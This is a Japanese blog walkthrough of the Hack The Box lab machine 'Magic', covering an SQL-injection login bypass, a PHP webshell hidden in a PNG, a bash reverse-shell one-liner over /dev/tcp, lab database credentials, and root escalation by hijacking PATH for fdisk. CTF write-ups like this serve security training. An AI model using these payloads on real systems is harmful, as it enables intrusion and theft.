Magic 日本語でウォークスルー Hack The Box Machine:
Hack The BoxのMagicのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。
目次
HTB Magic ウォークスルー・ライトアップ Hack The Box
Summary
local shell取得まで
ターゲットポート:TCP 80(http)
脆弱性:ターゲットのwebサイトでは、ログイン画面があった。そのログイン画面には「SQLインジェクション」の脆弱性が内在していた。
ログイン認証を突破した後に、ターゲットへファイルをアップロードできる機能を発見した。
その機能からreverse-shell用のスクリプトをアップロードし、実行した。
local権限を取得したユーザ:「www-data」
privilege Escalation取得まで
脆弱性:「www-data」ユーザは、「theseus」ユーザの「mysql」のクレデンシャル情報を閲覧可能であった。
「theseus」ユーザへ移行し、スクリプトを細工することでrootユーザのshellを取得できた。
root権限を取得したユーザ:root
Information Gathering
ポートスキャン
それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号22(ssh),80(http)が開いていることが分かりました。
まずはhttpサービスから調査していくことにしました。
ターゲットのhttpサービス調査
まずは、httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
マジックショーを紹介するホームページが表示されました。(いくつかの画像が表示されています。)
左下の「Login」をクリックすると、ログイン画面が表示されました。
ログイン画面の脆弱性調査
先程見つけたログイン画面に対してSQLインジェクションを仕掛けてみました。
こちらを参考に、以下文字列を「Username」と
「Password」に入力しました。
' or 1=1 --

すると認証を突破し、以下が表示されました。ファイルがアップロードできる機能がありました。
この段階で、「reverse-shell」用のスクリプトをアップロードし、local-shellを取得できないかを検討することにしました。
local shellの取得
reverse-shell用のスクリプトをターゲットにアップロードする
まず、ターゲットのファイルアップロード機能から「reverse-shell」用のphpファイルをアップロードしました。
しかし、以下のエラーメッセージが表示され、アップロードが失敗しました。
どうやら、画像ファイル(jpg,jpeg,png)しかアップロードが許可されていないようでした。
この辺りは、以前記事を書いた「Popcorn」に近い印象を受けました。
「Popcorn」ではBurpSuiteを使用して、phpファイルを画像ファイルと見せかけてアップロードしましたが、今回は別の方法で試しました。
Popcorn 日本語でウォークスルー Hack The Box Machine: – mopenten
Hack The BoxのPopcornのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。 ※本記事はサイバー犯罪を助長するものではありません。ハッキングや […]
今回は、Exiftoolを使用しました。
このツールを利用し、phpコードを画像ファイルに埋め込むことにしました。
まずは適当なスクリーンショットを取り、「test2.png」という名前で保存しました。
次に、Exiftoolを使用し、phpコードを埋め込みました。今回は、指定したlinuxのコマンドを実行する簡単なphpコードです。
続いて、「test2.png」を「test2.php.png」にリネームしました。これは、ターゲットにphpコードを強制的に実行させるためのものです。
「test2.php.png」をターゲットにアップロードできました。
reverse-shell用のスクリプトを実行する
続いて、アップロードした「reverse-shell」を実行することにしました。
まずは、ターゲットにアップロードしたファイルがどこにあるかを探すことにしました。
gobusterを使用して、ターゲットのフォルダ階層を調査しました。
その結果、「images/uploads」というパスをターゲット上に見つけました。
先程アップロードした「test2.php.png」を見つけました。また以下の通り、Linuxの「ls」コマンドの結果が表示されました。
これは「test2.php.png」に設置したphpコードが正しく動作していることを示しています。
そのため、次に、reverse-shellを取得するため以下のLinuxコマンドを実行しました。
※事前にnetcatを仕掛けています。
http://10.10.10.185/images/uploads/avatar.php.png?cmd=bash -c 'bash -i >%26 /dev/tcp/*ip address*/*port number* 0>%261'
その結果、以下の通り、「www-data」のshellを取得できました。
Privilege Escalation
Privilege Escalationの脆弱性調査
linpeasを使ってターゲット内を調査しました。
その結果、「/var/www/Magic/db.php5」というファイルから「theseus」というユーザを見つけました。

この「/var/www/Magic/db.php5」を確認した所、以下クレデンシャル情報が見つかりました。
dbName:Magic dbUsername:theseus dbUserPassword:iamkingtheseus
どうやらこのクレデンシャル情報はデータベース用でした。「mysql」を使用していることも分かりました。
以下コマンドでターゲットのmysqlの中身を確認しました。
mysqldump --databases Magic -u theseus -p iamkingtheseus
その結果、別のクレデンシャル情報を見つけました。
admin Th3s3usW4sK1ng
Tで始まる文字列が「theseus」ユーザのパスワードでした。
以下の通り、「www-data」から「theseus」ユーザに移行できました。
rootユーザになるための脆弱性調査
「theseus」ユーザでlinpeasを実行した所、以下を見つけました。
/bin/sysinfo

この中身を確認しました。
strings /bin/sysinfo

「fdisk」を実行しているようなので、これを偽造することにしました。
「fdisk」を偽造し、「sysinfo」を実行する
以下の様に、「fdisk」に「reverse-shell」用のスクリプトを仕込みました。
また、「PATH」を偽造して「sysinfo」を実行しました。
その結果、以下の通り「root」ユーザのshellが取得できました。
flagを探す
user.txtは「/home/theseus」にありました。
root.txtは「/root」直下にありました。
以上で、Magicのウォークスルーは終了です。